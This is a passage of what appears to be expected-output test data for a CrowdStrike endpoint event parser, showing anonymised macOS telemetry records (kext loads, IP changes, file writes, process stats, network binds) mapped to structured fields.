}, - "related": { - "hash": [ - "15043379" - ], - "ip": [ - "216.160.83.56", - "2a02:cf40::1" - ] - }, - "source": { - "address": "2a02:cf40::1", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::1" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "BundleID": "a225ed06f58fec3fe735872464c", - "ConfigStateHash": "15043379", - "ContextProcessId": "472050110452005020", - "ContextTimeStamp": "2025-11-03T19:33:14.892Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "86", - "EventOrigin": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "5f985f71b43f37edc3c06b1c67f8acf263c1", - "name": "3304452f50b3f" - }, - "device": { - "id": "c93c143eed37653b54c326dd22e114b8" - }, - "event": { - "action": "load", - "category": [ - "driver" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "5f985f71b43f37edc3c06b1c67f8acf263c1|c93c143eed37653b54c326dd22e114b8|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"KextLoad\",\"ContextTimeStamp\":\"1762198394.892\",\"ConfigStateHash\":\"15043379\",\"ContextProcessId\":\"472050110452005020\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"BundleID\":\"a225ed06f58fec3fe735872464c\",\"Entitlements\":\"86\",\"name\":\"3304452f50b3f\",\"EventOrigin\":\"1\",\"id\":\"5f985f71b43f37edc3c06b1c67f8acf263c1\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"c93c143eed37653b54c326dd22e114b8\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "c93c143eed37653b54c326dd22e114b8", - "os": { - "type": "macos" - } - }, - "message": "KextLoad", - "observer": { - "address": [ - "2a02:cf40::1" - ], - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": [ - "2a02:cf40::1" - ], - "serial_number": "c93c143eed37653b54c326dd22e114b8", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "entity_id": "472050110452005020", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "15043379" - ], - "ip": [ - "2a02:cf40::1" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "55043379", - "EffectiveTransmissionClass": "2", - "Entitlements": "76", - "EventOrigin": "1", - "InDiscards": "0", - "InErrors": "0", - "InMulticastPkts": "36300760", - "InOctets": "5401980300", - "InUcastPkts": "80890102", - "InUnknownProtos": "0", - "InterfaceAlias": "445", - "InterfaceIndex": 8, - "InterfaceType": "6", - "LocalAddressIP4": [ - "81.2.69.142" - ], - "LocalIpAddressPipelineSource": "6", - "NetLuidIndex": 0, - "OutErrors": "0", - "OutMulticastPkts": "0", - "OutOctets": "3000000600", - "OutUcastPkts": "46360000", - "PhysicalAddressLength": 6, - "PrefixLength": "52", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "f0d3d878ef1a02ab86680075a0eda18b56e9", - "name": "1b1a40a16643c4d9d9ad13" - }, - "device": { - "id": "3bec845649acaaa1eb41d1ad4a804a38" - }, - "event": { - "action": "LocalIpAddressIP4", - "category": [ - "configuration", - "host" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "f0d3d878ef1a02ab86680075a0eda18b56e9|3bec845649acaaa1eb41d1ad4a804a38|4092825518eaf67377a6e4492ae44577", - "kind": "state", - "original": "{\"OutOctets\":\"3000000600\",\"CreationTimeStamp\":\"-11724671741.249\",\"aip\":\"81.2.69.192\",\"OutMulticastPkts\":\"0\",\"InErrors\":\"0\",\"InterfaceAlias\":\"445\",\"InDiscards\":\"0\",\"InterfaceIndex\":\"8\",\"event_platform\":\"Mac\",\"InterfaceType\":\"6\",\"EventOrigin\":\"1\",\"id\":\"f0d3d878ef1a02ab86680075a0eda18b56e9\",\"PhysicalAddressLength\":\"6\",\"InUcastPkts\":\"80890102\",\"LocalIpAddressPipelineSource\":\"6\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"LocalIpAddressIP4\",\"ConfigStateHash\":\"55043379\",\"PhysicalAddress\":\"b9-55-b4-6e-3e-c8\",\"PrefixLength\":\"52\",\"OutErrors\":\"0\",\"InUnknownProtos\":\"0\",\"OutUcastPkts\":\"46360000\",\"InMulticastPkts\":\"36300760\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"InOctets\":\"5401980300\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"76\",\"name\":\"1b1a40a16643c4d9d9ad13\",\"aid\":\"3bec845649acaaa1eb41d1ad4a804a38\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "3bec845649acaaa1eb41d1ad4a804a38", - "os": { - "type": "macos" - } - }, - "message": "LocalIpAddressIP4", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "3bec845649acaaa1eb41d1ad4a804a38", - "version": "2c8b.4.b224e8a.4f" - }, - "related": { - "hash": [ - "55043379" - ], - "ip": [ - "81.2.69.192", - "81.2.69.142" - ] - }, - "source": { - "address": "81.2.69.142", - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.142", - "mac": "B9-55-B4-6E-3E-C8" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "65043379", - "EffectiveTransmissionClass": "3", - "Entitlements": "86", - "EventOrigin": "1", - "InterfaceIndex": 8, - "LocalAddressIP4": [ - "216.160.83.56" - ], - "LocalIpAddressPipelineSource": "6", - "NetLuidIndex": 0, - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "a885c0aff4e59afa62b4cfc45dd233f79546", - "name": "4a33a844314cf727f26cb81df45b9" - }, - "device": { - "id": "3bec845649acaaa1eb41d1ad4a804a38" - }, - "event": { - "action": "LocalIpAddressRemovedIP4", - "category": [ - "configuration", - "host" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "a885c0aff4e59afa62b4cfc45dd233f79546|3bec845649acaaa1eb41d1ad4a804a38|4092825518eaf67377a6e4492ae44577", - "kind": "state", - "original": "{\"LocalAddressIP4\":\"216.160.83.56\",\"event_simpleName\":\"LocalIpAddressRemovedIP4\",\"ConfigStateHash\":\"65043379\",\"aip\":\"81.2.69.142\",\"InterfaceIndex\":\"8\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"86\",\"name\":\"4a33a844314cf727f26cb81df45b9\",\"EventOrigin\":\"1\",\"id\":\"a885c0aff4e59afa62b4cfc45dd233f79546\",\"LocalIpAddressPipelineSource\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"3bec845649acaaa1eb41d1ad4a804a38\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "3bec845649acaaa1eb41d1ad4a804a38", - "os": { - "type": "macos" - } - }, - "message": "LocalIpAddressRemovedIP4", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "3bec845649acaaa1eb41d1ad4a804a38", - "version": "2c8b.4.b224e8a.4f" - }, - "related": { - "hash": [ - "65043379" - ], - "ip": [ - "81.2.69.142", - "216.160.83.56" - ] - }, - "source": { - "address": "216.160.83.56", - "as": { - "number": 209 - }, - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": "216.160.83.56" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "BoundingLimitCount": 10, - "BoundingLimitDuration": "4486640", - "ConfigStateHash": "25043379", - "ContextBaseFileName": "9a93b1357a69e905c9a", - "ContextProcessId": "704802000705084000", - "ContextTimeStamp": "2025-06-05T07:31:09.141Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "26", - "EventOrigin": "1", - "FileCategory": "6", - "IsOnRemovableDisk": "0", - "MachOSubType": "6", - "SHA256HashData": "2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "1a8f053397e4f0d36a740347ced0ee4eaad4", - "name": "1148999d786555f3e786e" - }, - "device": { - "id": "9ea510e4d87c4988253c7355515a7081" - }, - "event": { - "action": "MachOFileWritten", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "1a8f053397e4f0d36a740347ced0ee4eaad4|9ea510e4d87c4988253c7355515a7081|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextBaseFileName\":\"9a93b1357a69e905c9a\",\"FileCategory\":\"6\",\"MachOSubType\":\"6\",\"Size\":\"3000605\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.112\",\"BoundingLimitCount\":\"10\",\"FileIdentifier\":\"a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9\",\"event_platform\":\"Mac\",\"EventOrigin\":\"1\",\"id\":\"1a8f053397e4f0d36a740347ced0ee4eaad4\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"MachOFileWritten\",\"ContextTimeStamp\":\"1749108669.141\",\"UserName\":\"4813\",\"ConfigStateHash\":\"25043379\",\"ContextProcessId\":\"704802000705084000\",\"SHA256HashData\":\"2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"IsOnRemovableDisk\":\"0\",\"BoundingLimitDuration\":\"4486640\",\"Entitlements\":\"26\",\"name\":\"1148999d786555f3e786e\",\"aid\":\"9ea510e4d87c4988253c7355515a7081\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "file": { - "directory": "/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5", - "hash": { - "sha256": "2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63" - }, - "inode": "a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9", - "name": "22ded4e2", - "path": "/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2", - "size": 3000605, - "type": "file" - }, - "host": { - "id": "9ea510e4d87c4988253c7355515a7081", - "os": { - "type": "macos" - } - }, - "message": "MachOFileWritten", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "9ea510e4d87c4988253c7355515a7081", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "entity_id": "704802000705084000", - "name": "9a93b1357a69e905c9a", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63", - "25043379" - ], - "ip": [ - "89.160.20.112" - ], - "user": [ - "4813" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "4813" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "BoundedCount": 4, - "ConfigStateHash": "75043379", - "EffectiveTransmissionClass": "2", - "Entitlements": "16", - "EventOrigin": "45", - "ProcessCount": 5, - "SHA256HashData": "b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d", - "SuppressType": "2", - "Timeout": 284, - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "9b9091551ef260bfbe2fcbaa991fd216578d", - "name": "53731de338efc268aed79822" - }, - "device": { - "id": "aff97f8b915352339afe79c5a16d76b3" - }, - "event": { - "action": "ProcessRollup2Stats", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "9b9091551ef260bfbe2fcbaa991fd216578d|aff97f8b915352339afe79c5a16d76b3|4092825518eaf67377a6e4492ae44577", - "kind": "state", - "original": "{\"event_simpleName\":\"ProcessRollup2Stats\",\"ConfigStateHash\":\"75043379\",\"Timeout\":\"284\",\"ParentProcessId\":\"0\",\"aip\":\"81.2.69.142\",\"SuppressType\":\"2\",\"SHA256HashData\":\"b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d\",\"ProcessCount\":\"5\",\"BoundedCount\":\"4\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"UID\":\"60\",\"event_platform\":\"Mac\",\"CommandLine\":\"fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd\",\"Entitlements\":\"16\",\"name\":\"53731de338efc268aed79822\",\"EventOrigin\":\"45\",\"id\":\"9b9091551ef260bfbe2fcbaa991fd216578d\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"aff97f8b915352339afe79c5a16d76b3\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "unknown", - "type": [ - "info" - ] - }, - "host": { - "id": "aff97f8b915352339afe79c5a16d76b3", - "os": { - "type": "macos" - } - }, - "message": "ProcessRollup2Stats", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "aff97f8b915352339afe79c5a16d76b3", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "args": [ - "fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f", - "-9", - "a0b52d20", - "-0", - "a5f99916883744114", - "-c", - "9c11c52b372e36e77b8fd37dd" - ], - "args_count": 7, - "command_line": "fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd", - "hash": { - "sha256": "b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d" - }, - "parent": { - "entity_id": "0" - } - }, - "related": { - "hash": [ - "b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d", - "75043379" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "60" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "60" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "85043379", - "ContextProcessId": "601020521600005482", - "ContextTimeStamp": "2025-05-30T16:00:09.371Z", - "DeviceId": "506006027", - "EffectiveTransmissionClass": "2", - "Entitlements": "96", - "EventOrigin": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "1653ccad055c131c79fb49ce013cfa05fde1", - "name": "a3f9634e8f5cb2a" - }, - "device": { - "id": "506006027" - }, - "event": { - "action": "PtyCreated", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "1653ccad055c131c79fb49ce013cfa05fde1|0883f49bee1d86ce81176e6d89766adc|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"PtyCreated\",\"ContextTimeStamp\":\"1748620809.371\",\"ConfigStateHash\":\"85043379\",\"ContextProcessId\":\"601020521600005482\",\"DeviceId\":\"506006027\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"CommandLine\":\"8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660\",\"ImageFileName\":\"/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a\",\"Entitlements\":\"96\",\"name\":\"a3f9634e8f5cb2a\",\"EventOrigin\":\"1\",\"id\":\"1653ccad055c131c79fb49ce013cfa05fde1\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"0883f49bee1d86ce81176e6d89766adc\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "host": { - "id": "0883f49bee1d86ce81176e6d89766adc", - "os": { - "type": "macos" - } - }, - "message": "PtyCreated", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "0883f49bee1d86ce81176e6d89766adc", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "args": [ - "8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb", - "7521ca220a8ae6027c0205ba2b01c82c", - "ce793a", - "a8f34ba10921c4", - "6b9396fe89508a308632dca4bb879ce31fc550496", - "48c7277892b8", - "0f5f4216848e1e3804905fdfdc7", - "916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406", - "b42ddbaecab521", - "dc2356cbcb5b9c79939eead1793ef5f85b215c311422f", - "f68dd32e713737d9", - "44ac9316adc24687dbacafca20b954bcf3d33dcd4de", - "a59c027bb0a7c05d76750e3de7f569a7758ace084", - "04ee11a4fa1078efa8abad229976f29bcd52d351f9", - "4b01829a2b8c908ab96d79a2b0e1d5acb806551", - "90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad", - "a59c73da5938ef", - "c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5", - "96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e", - "f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97", - "315ef7be6a1848b2682301660" - ], - "args_count": 21, - "command_line": "8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660", - "entity_id": "601020521600005482", - "executable": "/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a", - "name": "7a4c386a", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "85043379" - ], - "ip": [ - "89.160.20.112" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "55043379", - "ConnectionFlags": "0", - "ContextProcessId": "148005106018043800", - "ContextTimeStamp": "2025-10-05T22:28:06.546Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "86", - "EventOrigin": "1", - "InContext": "0", - "LocalAddressIP4": [ - "81.2.69.144" - ], - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "c842b689fbd78207d195d8c17e3a04a000f6", - "name": "2552bb1c58ae3899" - }, - "destination": { - "address": "89.160.20.128", - "as": { - "number": 29518, - "organization": { - "name": "Bredband2 AB" - } - }, - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": "89.160.20.128", - "port": 260 - }, - "device": { - "id": "6de60f31dcfac7d0eac699802285aa4c" - }, - "event": { - "action": "RawBindIP4", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "c842b689fbd78207d195d8c17e3a04a000f6|6de60f31dcfac7d0eac699802285aa4c|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"LocalAddressIP4\":\"81.2.69.144\",\"event_simpleName\":\"RawBindIP4\",\"ContextTimeStamp\":\"1759703286.546\",\"ConfigStateHash\":\"55043379\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"148005106018043800\",\"RemotePort\":\"260\",\"aip\":\"2a02:cf40::2\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"LocalPort\":\"260\",\"Entitlements\":\"86\",\"name\":\"2552bb1c58ae3899\",\"EventOrigin\":\"1\",\"id\":\"c842b689fbd78207d195d8c17e3a04a000f6\",\"Protocol\":\"45\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"6de60f31dcfac7d0eac699802285aa4c\",\"RemoteAddressIP4\":\"89.160.20.128\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "6de60f31dcfac7d0eac699802285aa4c", - "os": { - "type": "macos" - } - }, - "message": "RawBindIP4", - "network": { - "community_id": "1:4B7h9ITJ4/nPr0yxU/bsOi56RcI=", - "direction": "unknown", - "iana_number": "45" - }, - "observer": { - "address": [ - "2a02:cf40::2" - ], - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": [ - "2a02:cf40::2" - ], - "serial_number": "6de60f31dcfac7d0eac699802285aa4c", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "entity_id": "148005106018043800" - }, - "related": { - "hash": [ - "55043379" - ], - "ip": [ - "2a02:cf40::2", - "81.2.69.144", - "89.160.20.128" - ] - }, - "source": { - "address": "81.2.69.144", - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.144", - "port": 260 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "75043379", - "ConnectionFlags": "0", - "ContextProcessId": "525000013203000905", - "ContextTimeStamp": "2025-10-19T12:00:04.560Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "26", - "EventOrigin": "1", - "InContext": "0", - "LocalAddressIP6": [ - "2a02:cf40::1" - ], - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "2d87ac61a22522847bc2143b50b4aac12858", - "name": "6be29847ad234f89" - }, - "destination": { - "address": "2a02:cf40::1", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::1", - "port": 60285 - }, - "device": { - "id": "bfae1ce346c864e642355116756472d6" - }, - "event": { - "action": "RawBindIP6", - "category": [ - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "2d87ac61a22522847bc2143b50b4aac12858|bfae1ce346c864e642355116756472d6|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"RawBindIP6\",\"ContextTimeStamp\":\"1760875204.560\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"RemoteAddressIP6\":\"2a02:cf40::1\",\"ConfigStateHash\":\"75043379\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"525000013203000905\",\"RemotePort\":\"60285\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"LocalPort\":\"28\",\"Entitlements\":\"26\",\"name\":\"6be29847ad234f89\",\"EventOrigin\":\"1\",\"id\":\"2d87ac61a22522847bc2143b50b4aac12858\",\"Protocol\":\"45\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"bfae1ce346c864e642355116756472d6\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "bfae1ce346c864e642355116756472d6", - "os": { - "type": "macos" - } - }, - "message": "RawBindIP6", - "network": { - "community_id": "1:wxOxAXZsC7GKYyc7uRbvS69m/yQ=", - "direction": "unknown", - "iana_number": "45" - }, - "observer": { - "address": [ - "2a02:cf40::1" - ], - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": [ - "2a02:cf40::1" - ], - "serial_number": "bfae1ce346c864e642355116756472d6", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "entity_id": "525000013203000905" - }, - "related": { - "hash": [ - "75043379" - ], - "ip": [ - "2a02:cf40::1" - ] - }, - "source": { - "address": "2a02:cf40::1", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::1", - "port": 28 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "600000970", - "ContentSHA256HashData": "9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7", - "ContextProcessId": "516365064008244070", - "EffectiveTransmissionClass": "2", - "Entitlements": "56", - "EventOrigin": "1", - "OriginalContentLength": "100", - "ScriptContent": "77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c", - "ScriptContentName": "/51a/89", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "18d9d6cd7e98ee9ab79dffed0e5f9e3357b0", - "name": "0a1beccbcea40ac2468a3ee78b" - }, - "device": { - "id": "c7fe43754f5b6ebfa566ef25e9ac6ecc" - }, - "event": { - "action": "ScriptControlScanInfo", - "category": [ - "malware", - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "18d9d6cd7e98ee9ab79dffed0e5f9e3357b0|c7fe43754f5b6ebfa566ef25e9ac6ecc|4092825518eaf67377a6e4492ae44577", - "kind": "state", - "original": 